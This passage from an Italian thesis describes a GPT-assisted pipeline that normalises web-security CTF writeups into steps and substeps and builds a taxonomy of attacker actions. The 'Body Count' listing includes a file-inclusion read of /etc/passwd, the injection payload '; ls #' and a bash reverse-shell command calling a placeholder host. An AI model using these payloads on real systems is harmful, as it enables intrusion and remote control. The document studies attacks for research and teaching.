    ↳ inclusion",
21             "Substeps": [
22                 {
23                     "SubstepNumber": 2.1,
24                     "SubstepString": "Visited '/?file=/etc/passwd'."
25                 },
26                 {
27                     "SubstepNumber": 2.2,
28                     "SubstepString": "Confirmed server-side file inclusion."
29                 }
30             ]
31         },
32         {
33             "StepNumber": 3,
34             "StepString": "Discovered a 'robots.txt' file at '?file=robots.txt'
    ↳ revealing the existence of 'checkpass.php'",
35             "Substeps": [
36                 {
37                     "SubstepNumber": 3.1,
38                     "SubstepString": "Discovered 'robots.txt' file at '?file=robots.
    ↳ txt'."
39                 },
40                 {
41                     "SubstepNumber": 3.2,
42                     "SubstepString": "Discovered the existence of 'checkpass.php'."
43                 }
44             ]
45         },
46         {
47             "StepNumber": 4,
48             "StepString": "Visited '/?file=checkpass.php' and realized the page
    ↳ contained some secret potentially usable code",
49             "Substeps": [
50                 {
51                     "SubstepNumber": 4.1,
52                     "SubstepString": "Visited '/?file=checkpass.php'."
53                 },
54                 {
55                     "SubstepNumber": 4.2,
56                     "SubstepString": "Realized the page contained some secret
    ↳ potentially usable code."
57                 }
58             ]
59         },
60         {
61             "StepNumber": 5,
62             "StepString": "Used 'php://filter' to view the source of 'checkpass.php'
    ↳ and discovered the password 'w0rdc0unt123'",
63             "Substeps": [
64                 {
65                     "SubstepNumber": 5.1,
66                     "SubstepString": "Used 'php://filter' to view the source of '
    ↳ checkpass.php'."
67                 },
68                 {
69                     "SubstepNumber": 5.2,
70                     "SubstepString": "Discovered the password 'w0rdc0unt123'."
71                 }
72             ]
73         },
74         {
75             "StepNumber": 6,
76             "StepString": "Used 'php://filter' again and de-coded base64 strings to
    ↳ see the source code of 'wc.php'",

```



```

77         "Substeps": [
78             {
79                 "SubstepNumber": 6.1,
80                 "SubstepString": "Used 'php://filter' again."
81             },
82             {
83                 "SubstepNumber": 6.2,
84                 "SubstepString": "Decoded base64 strings to view the source code
↳ of 'wc.php'."
85             }
86         ],
87     },
88     {
89         "StepNumber": 7,
90         "StepString": "Plugged the password ('w0rdc0unt123') from '$password'
↳ variable to the cookie and accessed the webpage",
91         "Substeps": [
92             {
93                 "SubstepNumber": 7.1,
94                 "SubstepString": "Plugged the password ('w0rdc0unt123') from '
↳ $password' variable to the cookie."
95             },
96             {
97                 "SubstepNumber": 7.2,
98                 "SubstepString": "Accessed the webpage."
99             }
100         ],
101     },
102     {
103         "StepNumber": 8,
104         "StepString": "Found out that the user input '$text' from get param 'text
↳ ' was passed into 'exec' leading to potential remote code execution",
105         "Substeps": [
106             {
107                 "SubstepNumber": 8.1,
108                 "SubstepString": "Identified that the user input '$text' from get
↳ param 'text' was being used."
109             },
110             {
111                 "SubstepNumber": 8.2,
112                 "SubstepString": "Realized '$text' was passed into 'exec' leading
↳ to potential remote code execution."
113             }
114         ],
115     },
116     {
117         "StepNumber": 9,
118         "StepString": "Tried the payload '; ls #'",
119         "Substeps": [
120             {
121                 "SubstepNumber": 9.1,
122                 "SubstepString": "Input the payload '; ls #'."
123             }
124         ],
125     },
126     {
127         "StepNumber": 10,
128         "StepString": "Realized 'echo exec(...)' only returns the last line of
↳ the output",
129         "Substeps": [
130             {
131                 "SubstepNumber": 10.1,
132                 "SubstepString": "Realized 'echo exec(...)' only returns the last
↳ line of the output."
133             }
134         ],
135     },

```

```

136         {
137             "StepNumber": 11,
138             "StepString": "Tried to spawn a reverse shell with '; bash -c \"bash -i
139     ↪ >& /dev/tcp/your.server.ip.address/8000 0>&1\" #'",
140             "Substeps": [
141                 {
142                     "SubstepNumber": 11.1,
143                     "SubstepString": "Input the payload to attempt to spawn a reverse
144     ↪ shell."
145                 }
146             ],
147             {
148                 "StepNumber": 12,
149                 "StepString": "Used the shell access to browse the file system and found
150     ↪ a folder '/ctf'",
151                 "Substeps": [
152                     {
153                         "SubstepNumber": 12.1,
154                         "SubstepString": "Used shell access to browse the file system."
155                     },
156                     {
157                         "SubstepNumber": 12.2,
158                         "SubstepString": "Discovered a folder '/ctf'."
159                     }
160                 ]
161             },
162             {
163                 "StepNumber": 13,
164                 "StepString": "Identified notable shell script 'findaas' inside '/ctf'",
165                 "Substeps": [
166                     {
167                         "SubstepNumber": 13.1,
168                         "SubstepString": "Identified notable shell script 'findaas'
169     ↪ inside '/ctf'."
170                     }
171                 ]
172             },
173             {
174                 "StepNumber": 14,
175                 "StepString": "Located 'flag.txt' using './findaas flag.txt'",
176                 "Substeps": [
177                     {
178                         "SubstepNumber": 14.1,
179                         "SubstepString": "Executed './findaas flag.txt' command."
180                     },
181                     {
182                         "SubstepNumber": 14.2,
183                         "SubstepString": "Located 'flag.txt'."
184                     }
185                 ]
186             },
187             {
188                 "StepNumber": 15,
189                 "StepString": "Attempted to read the flag using 'cat ./system/of/a/down/
190     ↪ flag.txt' but was denied permission",
191                 "Substeps": [
192                     {
193                         "SubstepNumber": 15.1,
194                         "SubstepString": "Attempted to read the flag using 'cat ./system/
195     ↪ of/a/down/flag.txt'."
196                     },
197                     {
198                         "SubstepNumber": 15.2,
199                         "SubstepString": "Received permission denied error."
200                     }
201                 ]
202             }
203         ]

```

```

197     },
198     {
199         "StepNumber": 16,
200         "StepString": "Read the 'README' file and found a password hash '6
    ↪ f246c872cbf0b7fd7530b7aa235e67e'",
201         "Substeps": [
202             {
203                 "SubstepNumber": 16.1,
204                 "SubstepString": "Read the 'README' file."
205             },
206             {
207                 "SubstepNumber": 16.2,
208                 "SubstepString": "Found a password hash '6
    ↪ f246c872cbf0b7fd7530b7aa235e67e'."
209             }
210         ]
211     },
212     {
213         "StepNumber": 17,
214         "StepString": "Decoded the password hash to find password 'csictf'",
215         "Substeps": [
216             {
217                 "SubstepNumber": 17.1,
218                 "SubstepString": "Decoded the password hash."
219             },
220             {
221                 "SubstepNumber": 17.2,
222                 "SubstepString": "Found password 'csictf'."
223             }
224         ]
225     },
226     {
227         "StepNumber": 18,
228         "StepString": "Switched to the user 'ctf' using the password 'csictf'",
229         "Substeps": [
230             {
231                 "SubstepNumber": 18.1,
232                 "SubstepString": "Switched to the user 'ctf'."
233             },
234             {
235                 "SubstepNumber": 18.2,
236                 "SubstepString": "Authenticated using the password 'csictf'."
237             }
238         ]
239     },
240     {
241         "StepNumber": 19,
242         "StepString": "Printed the flag using 'cat ./system/of/a/down/flag.txt'",
243         "Substeps": [
244             {
245                 "SubstepNumber": 19.1,
246                 "SubstepString": "Executed 'cat ./system/of/a/down/flag.txt'
    ↪ command."
247             },
248             {
249                 "SubstepNumber": 19.2,
250                 "SubstepString": "Printed the flag."
251             }
252         ]
253     }
254 ]
255 }
256 }

```

**Listing 3.4:** Elaborazione e normalizzazione dei dati - File JSON: SubstepsModel (challenge “Body Count”)

La suddivisione degli step in substep dettagliati è stata fondamentale per l'analisi. Questo approccio ha permesso una comprensione più profonda delle singole azioni effettuate dagli attaccanti, offrendo una visione granulare del processo di attacco. Alcuni step nei writeup possono essere complessi e multifaccettati; suddividerli in substep ha reso l'analisi di queste azioni complesse più gestibile e ha facilitato l'identificazione di tecniche specifiche utilizzate dagli attaccanti. Questa suddivisione ha anche preparato il terreno per eventuali analisi più sofisticate, come l'identificazione di sequenze di azioni comuni o l'esplorazione di variazioni nelle tecniche di attacco.

### SubstepsModel

Per salvare questi substep estratti, è stato adottato un processo strutturato. Dopo aver ricevuto l'output da GPT, lo script Python ha elaborato e strutturato i substep in un formato JSON ordinato, con ogni substep rappresentato come un oggetto JSON individuale all'interno di una lista. Ogni oggetto includeva dettagli chiave come il numero del substep e una breve descrizione dell'azione, fornendo così un archivio ordinato di tutte le azioni semi-atomiche identificate nel processo di attacco.

Questa suddivisione dettagliata ha fornito una granularità dettagliata dei comportamenti degli attaccanti, consentendo di analizzare ogni singola azione all'interno del processo complessivo di attacco.

### 3.2.6 Organizzazione dei file

In questo studio sui comportamenti degli attaccanti nelle sfide di Capture The Flag (CTF), l'elaborazione e la normalizzazione dei writeup si sono svolte attraverso diverse fasi, ciascuna rappresentata da tipologie specifiche di file.

- Inizialmente, i file “\*\_original.md”, ovvero i writeup CTF originali in formato markdown, hanno offerto una panoramica completa e non filtrata delle sfide. Questi file sono stati fondamentali come punto di partenza per il processo di analisi, poiché contenevano la narrazione e le descrizioni originali fornite dagli autori delle sfide, mostrando le tecniche e le strategie impiegate.
- Successivamente, i file “\*\_presteps.json”, generati dopo la prima fase di elaborazione con GPT, hanno rappresentato una prima organizzazione e strutturazione del contenuto dei writeup in una lista di step preliminari. Questo passo ha facilitato l'identificazione delle fasi principali del processo di attacco, offrendo una prima strutturazione dei dati.
- I file “\*\_steps.json” hanno rappresentato un'ulteriore elaborazione, dove ogni step è stato definito in modo più dettagliato e strutturato come oggetto JSON. Questi

```

csivitu/
|
|  '---- ctf-challenges/
|  |
|  |  '----- Body Count/
|  |  |
|  |  |  '----- body_count_original.md
|  |  |  '----- body_count_presteps.json
|  |  |  '----- body_count_steps.json
|  |  |  '----- body_count_substeps.json
|  |  |
|  |  |  '----- CCC/
|  |  |  |
|  |  |  |  '----- ccc_original.md
|  |  |  |  '----- ccc_presteps.json
|  |  |  |  '----- ccc_steps.json
|  |  |  |  '----- ccc_substeps.json
|  |  |
|  |  |  '----- File Library/
|  |  |  |
|  |  |  |  '----- file_library_original.md
|  |  |  |  '----- file_library_presteps.json
|  |  |  |  '----- file_library_steps.json
|  |  |  |  '----- file_library_substeps.json
|  |  |
|  |  |  '----- Mr Rami/
|  |  |  |
|  |  |  |  '----- mr_rami_original.md
|  |  |  |  '----- mr_rami_presteps.json
|  |  |  |  '----- mr_rami_steps.json
|  |  |  |  '----- mr_rami_substeps.json
|  |  |
|  |  |  '----- Oreo/
|  |  |  |
|  |  |  |  '----- oreo_original.md
|  |  |  |  '----- oreo_presteps.json
|  |  |  |  '----- oreo_steps.json
|  |  |  |  '----- oreo_substeps.json
|  |  |
|  |  |  '----- Secure Portal/
|  |  |  |
|  |  |  |  '----- secure_portal_original.md
|  |  |  |  '----- secure_portal_presteps.json
|  |  |  |  '----- secure_portal_steps.json
|  |  |  |  '----- secure_portal_substeps.json
|  |  |
|  |  |  '----- The Confused Deputy/
|  |  |  |
|  |  |  |  '----- the_confused_deputy_original.md
|  |  |  |  '----- the_confused_deputy_presteps.json
|  |  |  |  '----- the_confused_deputy_steps.json
|  |  |  |  '----- the_confused_deputy_substeps.json
|  |  |
|  |  |  '----- The Usual Suspects/
|  |  |  |
|  |  |  |  '----- the_usual_suspects_original.md
|  |  |  |  '----- the_usual_suspects_presteps.json
|  |  |  |  '----- the_usual_suspects_steps.json
|  |  |  |  '----- the_usual_suspects_substeps.json
|  |  |
|  |  |  '----- Warm Up/
|  |  |  |
|  |  |  |  '----- warm_up_original.md
|  |  |  |  '----- warm_up_presteps.json
|  |  |  |  '----- warm_up_steps.json
|  |  |  |  '----- warm_up_substeps.json

```

**Figura 3.8:** Elaborazione e normalizzazione dei dati - Visualizzazione organizzazione dei file

file hanno fornito una visione più chiara e ordinata di ciascuna fase del processo di attacco, permettendo una facile correlazione e analisi delle azioni degli attaccanti.

- L'ultima fase del processo di elaborazione è stata rappresentata dai file “\*\_substeps.json”. In questa fase, ogni step è stato suddiviso in substep più dettagliati,

ognuno rappresentando una specifica azione semi-atomica effettuata dall'attaccante. Questo livello di dettaglio è stato fondamentale per lo sviluppo della tassonomia e per un'analisi approfondita dei comportamenti degli attaccanti.

### 3.2.7 Riassunto dell'elaborazione e della normalizzazione dei dati

Il processo di elaborazione e normalizzazione dei writeup CTF rappresenta una tappa fondamentale nella presente ricerca. Attraverso vari step di elaborazione, i dati grezzi sono stati trasformati in informazioni strutturate e significative, fondamentali per la comprensione approfondita e la creazione di una tassonomia dettagliata dei comportamenti degli attaccanti.

GPT ha svolto un ruolo cruciale nell'analisi e strutturazione dei testi, offrendo un'elaborazione avanzata del linguaggio naturale, efficienza e una profonda comprensione del contesto dei writeup.

Ogni fase del processo ha costruito sulla precedente, aggiungendo strati di dettaglio e organizzazione. La progressione da un formato all'altro, inoltre, ha permesso di adattare i dati ai bisogni specifici di analisi, passando da una visione generale ad una dettagliata.

In conclusione, ogni file nel processo rappresenta una fase critica nel trasformare i dati grezzi in informazioni strutturate e significative. Questa progressione ha migliorato la comprensione dei comportamenti degli attaccanti e fornito una base solida per lo sviluppo di una tassonomia dettagliata e la conduzione di ulteriori ricerche nel campo della sicurezza informatica.

## 3.3 Sviluppo della tassonomia

Lo sviluppo di una tassonomia specifica per i writeup delle competizioni CTF nel campo della web security è nato dalla necessità di standardizzare e categorizzare in modo efficace le azioni compiute dagli attaccanti. Sebbene GPT possa assegnare direttamente etichette alle azioni nei writeup, è emerso un problema di coerenza: azioni simili spesso ricevevano etichette diverse, rendendo difficile l'analisi comparativa e la categorizzazione sistematica. Per superare queste difficoltà, si è sentita la necessità di creare un insieme chiuso di etichette standardizzate, in modo che azioni con lo stesso scopo primario potessero essere raggruppate sotto un'unica label. Con una tassonomia ben definita, infatti, è possibile eseguire analisi statistiche e qualitative più precise, migliorando la comprensione dei pattern comportamentali degli attaccanti.

### 3.3.1 Obiettivi della tassonomia

Lo sviluppo della tassonomia è stato guidato da obiettivi specifici, mirati a migliorare la comprensione e l'analisi delle azioni degli attaccanti in questi contesti.

La tassonomia è stata pensata per servire come fondamento per ricerche future nel campo della sicurezza informatica, in particolare nelle competizioni CTF. La creazione di una base standardizzata di conoscenze e classificazioni offre un punto di partenza solido per studi successivi, promuovendo un'analisi più approfondita e mirata delle tecniche di attacco e difesa.

Un altro aspetto chiave della tassonomia riguarda l'educazione e la formazione. Fornendo un framework strutturato e ben definito, la tassonomia diventa uno strumento educativo prezioso per coloro che partecipano alle competizioni CTF o che lavorano nel settore della sicurezza informatica. Questo strumento può aiutare a sviluppare una maggiore consapevolezza delle strategie di attacco e delle metodologie di difesa, contribuendo all'incremento delle competenze e delle capacità nel settore.

#### Importanza dell'identificazione di sequenze di azioni

In generale, il comportamento può essere interpretato come una sequenza ben definita di azioni, caratterizzata da pattern e automatismi. Questo concetto si applica anche nell'ambito della sicurezza informatica e, in particolare, nell'analisi dei comportamenti degli attaccanti nelle sfide CTF.

Proprio come le persone adottano sequenze di azioni automatizzate nella vita quotidiana, anche gli attaccanti nelle sfide CTF tendono a sviluppare e seguire pattern ricorrenti. Identificare questi pattern nei writeup CTF è fondamentale per comprendere il modo in cui gli attaccanti pensano e agiscono. Riconoscere le sequenze di azioni che tendono a ripetersi può offrire insight preziosi sulle strategie e le tecniche adottate dagli attaccanti.

#### Importanza dell'analisi dei writeup CTF

L'analisi dei writeup di CTF offre insight preziosi sui comportamenti degli attaccanti in scenari simulati ma realistici. Questi insight includono:

- Identificazione di tecniche e tattiche comuni. L'analisi dei writeup aiuta a identificare le tecniche e le tattiche comunemente impiegate dagli attaccanti, fornendo una visione pratica delle metodologie di attacco.

- Comprensione del processo decisionale. Attraverso l'analisi dettagliata dei writeup, è possibile comprendere meglio il processo decisionale e il flusso di lavoro degli attaccanti.
- Rilevamento di pattern e vulnerabilità. L'esame dei writeup consente di rilevare pattern ricorrenti e vulnerabilità più comuni, che possono essere preziose per migliorare le strategie di difesa.

### 3.3.2 Processo di sviluppo della tassonomia

- **Creazione del dataset di substep**
  - Estrazione dei substep. I substep di tutti i writeup CTF sono stati inizialmente estratti e salvati nel file "list\_substeps.json" come una vasta lista di stringhe.
  - Mescolamento dei substep. Per evitare bias dovuti all'ordine dei substep, la lista è stata mescolata, creando il file "list\_substeps\_mixed.json".
  - Divisione in chunk. Il file "mixed" è stato suddiviso in chunk di 35 stringhe ciascuno, basandosi sulla constatazione che input più brevi riducevano l'errore di processing di GPT.
- **Categorizzazione dei substep**
  - Raggruppamento per categorie. Ogni chunk di substep è stato processato da GPT, chiedendo di raggruppare le stringhe presenti in categorie, se rilevanti. Il risultato è stato salvato in file "\*\_grouped.json", con i substep organizzati per categoria.
  - Estrazione delle categorie. Le categorie identificate sono state poi estratte e organizzate in nuovi chunk di 70 categorie per file.
- **Creazione della struttura gerarchica**
  - Organizzazione gerarchica. Utilizzando GPT, ogni chunk di categorie è stato analizzato per creare una struttura gerarchica a due livelli, portando alla creazione di file "\*\_hierarchized.json" con categorie organizzate gerarchicamente.
  - Merging delle tassonomie. Le tassonomie intermedie sono state poi combinate a coppie in un processo ricorsivo, fino all'ottenimento di quattro tassonomie semi-definitive.



```

1  [
2    "Progressively brute-force characters.",
3    "Explore the profile settings.",
4    "Login as admin using SQL injection",
5    "Identified a potential SQL injection vulnerability.",
6    "Craft an XSS payload.",
7    "Crafted an HTML payload for exploiting this vulnerability",
8    "Identify the 'isAdmin' field within the 'User' model.",
9    "Attempt password brute force for each email",
10   "Discovered valid usernames including 'admin', 'root', 'builder', 'employee', and '
    ↳ staff'."
11   "Attempted to exploit the log4j vulnerability using the 'ProfileServlet.java'.",
12   "Attempt basic payloads for NoSQL injection.",
13   "Insert the payload which is a URL that generates a password change request for the
    ↳ admin account when clicked."
14   "Format the code in a more readable format",
15   "Create a JavaScript script within the HTML page.",
16   "Analyze the 'changelog.js' script.",
17   "Analyzed the response",
18   "Validate that only one result is returned.",
19   "Retrieved table names from the database by manipulating the SQL query using 'moneys
    ↳ =' parameter.",
20   "Obtained the headers from the log file.",
21   "Verified the contents of the retrieved data.",
22   "Discover the flag 'rtcp{WebSock3t5_4r3_SQLi_vu1n3r4b1e_t00_bacfe0}'",
23   "Revealed a 'flag.txt' file.",
24   "Identify unrelated packets such as 'pings'.",
25   "Note that spaces or slashes in the filename are not allowed",
26   "Confirm that the file content is displayed.",
27   "Discover that HTML files are uploaded successfully despite checks for images.",
28   // ...(continues)
29 ]

```

**Figura 3.9:** Sviluppo della tassonomia - Estrazione dei substep

### Metodo semi-automatizzato e supervisionato

Il processo ha adottato un approccio semi-automatizzato, utilizzando l'intelligenza artificiale per elaborare e categorizzare i dati, ma anche un controllo umano per garantire coerenza e accuratezza. GPT ha giocato un ruolo chiave nel raggruppare, organizzare e creare gerarchie, ma la supervisione umana è stata utilizzata per validare e affinare le tassonomie risultanti.

Il ruolo dell'interazione umana è stato determinante nel processo di sviluppo e finalizzazione della tassonomia dei writeup CTF, adottando un approccio "human in the loop". Questo coinvolgimento umano ha assicurato che le categorie e sottocategorie fossero non solo precise e pertinenti, ma anche contestualmente rilevanti per il campo della sicurezza delle applicazioni web. Le decisioni cruciali relative alla struttura finale della tassonomia sono state prese dopo un'attenta valutazione umana, permettendo di ottimizzare la tassonomia per il contesto specifico e di allinearla con gli obiettivi di ricerca.

In questo contesto, è stata data particolare attenzione all'esclusione di categorie non

```

1 {
2   "SQL Injection and Database Vulnerabilities": [
3     "Login as admin using SQL injection",
4     "Identified a potential SQL injection vulnerability.",
5     "Attempt basic payloads for NoSQL injection.",
6     "Retrieved table names from the database by manipulating the SQL query using '
7     ↪ money= parameter."
8   ],
9   "Brute Force Attacks": [
10    "Progressively brute-force characters.",
11    "Attempt password brute force for each email",
12    "Discovered valid usernames including admin, root, builder, employee, and staff."
13  ],
14  "Cross-Site Scripting (XSS) and HTML Payloads": [
15    "Craft an XSS payload.",
16    "Crafted an HTML payload for exploiting this vulnerability",
17    "Insert the payload which is a URL that generates a password change request for
18    ↪ the admin account when clicked.",
19    "Create a JavaScript script within the HTML page."
20  ],
21  "Exploring and Analyzing Code": [
22    "Explore the profile settings.",
23    "Attempted to exploit the log4j vulnerability using the 'ProfileServlet.java'.",
24    "Format the code in a more readable format",
25    "Analyze the 'changelog.js' script.",
26    "Analyzed the response"
27  ],
28  "Data Validation and Retrieval": [
29    "Identify the 'isAdmin' field within the 'User' model.",
30    "Validate that only one result is returned.",
31    "Obtained the headers from the log file.",
32    "Verified the contents of the retrieved data."
33  ],
34  "File Handling and Uploads": [
35    "Revealed a 'flag.txt' file.",
36    "Note that spaces or slashes in the filename are not allowed",
37    "Confirm that the file content is displayed.",
38    "Discover that HTML files are uploaded successfully despite checks for images."
39  ],
40  "Miscellaneous": [
41    "Identify unrelated packets such as 'pings'.",
42    "Discover the flag 'rtcp{WebSock3t5_4r3_SQLi_vu1n3r4b1e_t00_bacfe0}'"
43  ],
44  // ...(continues)
45 }

```

**Figura 3.10:** Sviluppo della tassonomia - Raggruppamento per categorie

pertinenti. Concentrandosi specificamente sui writeup CTF nell'ambito della sicurezza delle applicazioni web, sono state scartate le categorie non strettamente correlate a questo campo, per mantenere la tassonomia focalizzata e pertinente.

Un aspetto chiave nella definizione e modifica della struttura della tassonomia è stata la transizione da una struttura a due livelli a una più articolata a tre livelli. Questa evoluzione ha risposto alla necessità di una più chiara e distinta suddivisione di concetti e categorie al terzo livello. La decisione di ampliare la struttura è stata anche guidata da considerazioni

```

1  [
2    "SQL Injection and Database Vulnerabilities",
3    "Brute Force Attacks",
4    "Cross-Site Scripting (XSS) and HTML Payloads",
5    "Exploring and Analyzing Code",
6    "Data Validation and Retrieval",
7    "File Handling and Uploads",
8    "Miscellaneous",
9    "Base64 Decoding",
10   "Password Handling",
11   "URL Manipulation",
12   "Exploit Execution",
13   "Authentication and Authorization Testing",
14   "Discovery of Vulnerabilities",
15   "File Upload/Analysis",
16   "Payload Execution",
17   "Secure Communication",
18   "Button and Element Identification",
19   "Header Manipulation",
20   "Game and Scenario Analysis",
21   "Bash Scripting",
22   "Debugging",
23   "Hash Manipulation",
24   "Server-Side Vulnerability Identification",
25   "URL Manipulation",
26   "Network Observation",
27   "Server and Application Analysis",
28   "Code Injection and Remote Execution",
29   // ...(continues)
30 ]

```

**Figura 3.11:** Sviluppo della tassonomia - Estrazione delle categorie

di ordine, estetica e organizzazione, con l'obiettivo di rendere la tassonomia più intuitiva e facile da navigare.

La struttura gerarchica a tre livelli adottata offre numerosi vantaggi, tra cui una maggiore flessibilità nell'analisi dei dati. Questa struttura consente agli utenti di esplorare sia categorie generali sia dettagli più specifici, rendendola particolarmente utile per adattarsi a diverse esigenze di ricerca. L'approccio gerarchico facilita la navigazione dalla macro alla microanalisi, consentendo un'analisi dettagliata e approfondita in diverse aree di interesse.

In sintesi, l'incorporazione dell'interazione umana nel processo di sviluppo della tassonomia ha contribuito a creare una categorizzazione intuitiva, chiara e contestualmente appropriata.

### 3.3.3 Tassonomie alternative

Nell'ambito della ricerca per lo sviluppo di una tassonomia efficace per i writeup delle competizioni di Capture The Flag, è emerso che il metodo qui delineato rappresenta solo una delle diverse strategie esplorate. Durante il percorso di ricerca, infatti, mi sono

```
1 {
2   "Web Vulnerabilities": [
3     "SQL Injection and Database Vulnerabilities",
4     "Brute Force Attacks",
5     "Cross-Site Scripting (XSS) and HTML Payloads",
6     "URL Manipulation",
7     "Discovery of Vulnerabilities",
8     "Server-Side Vulnerability Identification",
9     "Code Injection and Remote Execution"
10  ],
11  "Code and Application Analysis": [
12    "Exploring and Analyzing Code",
13    "Data Validation and Retrieval",
14    "Authentication and Authorization Testing",
15    "Server and Application Analysis",
16    "Game and Scenario Analysis",
17    "Debugging"
18  ],
19  "Data Handling and Manipulation": [
20    "File Handling and Uploads",
21    "Base64 Decoding",
22    "Password Handling",
23    "File Upload/Analysis",
24    "Hash Manipulation",
25    "Header Manipulation"
26  ],
27  "Exploitation Techniques": [
28    "Exploit Execution",
29    "Payload Execution",
30    "Button and Element Identification"
31  ],
32  "Networking and Communication": [
33    "Secure Communication",
34    "Network Observation"
35  ],
36  "Scripting and Automation": [
37    "Bash Scripting"
38  ],
39  "Miscellaneous": [
40    "Miscellaneous"
41  ],
42  // ...(continues)
43 }
```

**Figura 3.12:** Sviluppo della tassonomia - Organizzazione gerarchica

imbattuto, tramite processi di sviluppo diversi, in una varietà di tassonomie, ciascuna caratterizzata da specifici punti di forza e debolezze. Alcune di queste tassonomie erano di natura più generica, offrendo un quadro ampio ma forse meno dettagliato delle azioni degli attaccanti, mentre altre erano estremamente specifiche, fornendo un'analisi minuziosa ma rischiando di perdere la visione d'insieme.

Questo processo esplorativo ha rivelato che non esiste un approccio univoco o universalmente superiore nella creazione di tassonomie per le sfide CTF. Piuttosto, la scelta del metodo più appropriato dipende dagli obiettivi specifici della ricerca e dal tipo di insight che si desidera

ottenere. Tassonomie più generali possono essere utili per ottenere una comprensione ampia dei comportamenti degli attaccanti, mentre quelle più specifiche possono essere impiegate per indagare aspetti particolari delle strategie e delle tecniche utilizzate nelle sfide.

L'esperienza acquisita nello sperimentare con diverse tassonomie ha arricchito la mia comprensione del campo e ha contribuito a definire meglio il percorso per lo sviluppo di una tassonomia che sia al contempo esaustiva e pragmatica. La diversità degli approcci testati ha offerto prospettive preziose, evidenziando come la flessibilità e l'adattabilità siano componenti cruciali nella creazione di strumenti analitici efficaci nel campo della sicurezza informatica e delle competizioni CTF.

### **Alternativa di sviluppo: ricerca delle tecniche**

Una strategia alternativa, e se vogliamo complementare, per lo sviluppo della tassonomia nel campo della web application security e delle competizioni CTF ha adottato un approccio "bottom-up". In questo metodo, partendo da un dataset costituito da segmenti di azioni di attacco (substep), si è proceduto con un'etichettatura iniziale senza l'ausilio di una tassonomia predefinita.

Si è impiegato GPT per attribuire a ciascun substep un'etichetta che identificasse una specifica tecnica utilizzata nella sicurezza delle applicazioni web o nell'informatica in generale. I risultati di questa etichettatura sono stati poi consolidati in nuovi insiemi dati. Per ridurre la varietà delle etichette e creare un insieme più coeso, si è richiesto a GPT di eseguire una sorta di "collasso semantico", combinando etichette simili o identiche sotto un'unica denominazione. Questo processo ha portato alla formazione di un set di etichette univoche e semplificate.

Una volta ottenuto questo set di etichette raffinate, l'intenzione era di aggregarle ulteriormente a livello semantico e organizzarle in una struttura gerarchica per costruire la tassonomia. Questo approccio, che parte da elementi specifici per costruire una visione complessiva, offre un contrasto interessante rispetto all'approccio top-down tradizionale, presentando una prospettiva radicata nelle tecniche effettivamente impiegate nelle sfide CTF.

Tuttavia, questo metodo si è rivelato particolarmente oneroso in termini di tempo e richiedeva una conoscenza dettagliata del campo della web application security. Di conseguenza, la tassonomia risultante non è stata sviluppata oltre. L'approfondita analisi richiesta dal metodo bottom-up ha messo in luce alcune delle sfide intrinseche nello sviluppare una tassonomia che sia allo stesso tempo esaustiva e pratica, in un campo così tecnico e in rapido cambiamento come la sicurezza informatica. Questa esperienza ha evidenziato l'importanza di trovare un equilibrio tra la profondità e la specificità dell'analisi e la sua fattibilità e utilità pratica, specialmente in settori di ricerca che necessitano di una sostanziale competenza tecnica e di un'adattabilità costante alle nuove tecniche e minacce.

### **3.3.4 Implementazione e validazione della tassonomia**

Il processo di implementazione della tassonomia nei writeup CTF è stato caratterizzato da un approccio dati-dipendente, dove la tassonomia stessa è emersa direttamente dai dati analizzati, cioè i substep. Questo approccio assicura che la tassonomia sia profondamente legata nelle informazioni effettive contenute nei writeup, ma comporta anche che ogni modifica ai dati può influenzare le categorie tassonomiche. Questa stretta dipendenza dai dati ha portato a un'aspettativa iniziale di alta pertinenza della tassonomia, che è stata successivamente confermata dai risultati dei primi test.

La fase di testing della tassonomia ha comportato un processo dettagliato di etichettatura su un sottoinsieme del dataset di writeup. Utilizzando GPT per l'assegnazione automatica delle etichette, ogni substep è stato classificato all'interno della tassonomia proposta. Successivamente, è stata condotta una validazione manuale di questi risultati, allo scopo di individuare e correggere eventuali errori di etichettatura, garantendo così la precisione e l'accuratezza della classificazione.

Sulla base dei risultati ottenuti durante il testing, la tassonomia è stata sottoposta a varie iterazioni e modifiche. Questo ha incluso la rimozione, l'aggiunta o la revisione di alcune categorie per meglio riflettere i dati e migliorare la coerenza e l'efficacia della tassonomia. Le modifiche sono state guidate dai risultati del testing, con un focus su rendere le categorie più generali o specifiche a seconda delle esigenze emergenti.

Questo processo iterativo di revisione e adeguamento della tassonomia è proseguito fino a quando non è stato raggiunto un livello soddisfacente di precisione e una minima percentuale di errore. L'obiettivo era assicurare che la tassonomia fosse sufficientemente flessibile per adattarsi alle varie sfumature dei dati, pur mantenendo una struttura chiara e facilmente utilizzabile per analisi significative.

### **Multilivello di analisi**

La tassonomia sviluppata presenta una struttura gerarchica che si rivela estremamente flessibile e funzionale nell'etichettatura e nell'analisi dei dati. Questa configurazione, che consente di esaminare le informazioni a diversi livelli di dettaglio, si adatta perfettamente alle esigenze specifiche di ogni analisi.

Ad un livello più alto, la tassonomia offre una visione d'insieme delle azioni e delle strategie adottate dagli attaccanti, permettendo di identificare tendenze generali e pattern comuni. Questa panoramica può rivelarsi fondamentale per comprendere le linee guida globali nelle strategie di attacco. Al contrario, scendendo ai livelli più bassi della gerarchia, si può accedere a dettagli più minuti e specifici sulle tecniche e le tattiche impiegate, fornendo un'analisi più approfondita e dettagliata di ciascuna azione.

La flessibilità nell'etichettatura è un altro aspetto cruciale di questa struttura gerarchica.

A seconda del contesto e del livello di dettaglio necessario, un'azione può essere classificata all'interno di una categoria generale o in una sottocategoria più specifica. Questo permette di mantenere la coerenza nell'etichettatura, pur concedendo una variabilità basata sul contesto specifico dell'azione o della strategia in esame.

Nell'ambito dell'analisi dei dati, la tassonomia gerarchica dimostra una notevole adattabilità alle diverse esigenze future di ricerca. Gli analisti possono concentrarsi su aspetti particolari o ottenere una visione più ampia, a seconda degli obiettivi della loro indagine. Inoltre, la capacità di esaminare i dati a vari livelli di dettaglio facilita notevolmente l'identificazione di pattern e correlazioni, sia nelle strategie di alto livello sia nelle tattiche operative più specifiche.

### 3.3.5 Problemi riscontrati nello sviluppo e nel testing

Durante lo sviluppo della tassonomia, sono emerse alcune sfide significative. Un aspetto critico di questo processo è stata la stretta dipendenza della tassonomia dai dati disponibili. In particolare, la prevalenza di certi tipi di dati ha avuto un impatto maggiore sulla formazione della tassonomia, influenzando la rappresentazione e il peso di specifiche categorie. Questa tendenza ha reso particolarmente ardua la corretta categorizzazione di dati meno comuni, poiché la tassonomia tende a essere più rappresentativa delle azioni più frequentemente osservate nei writeup.

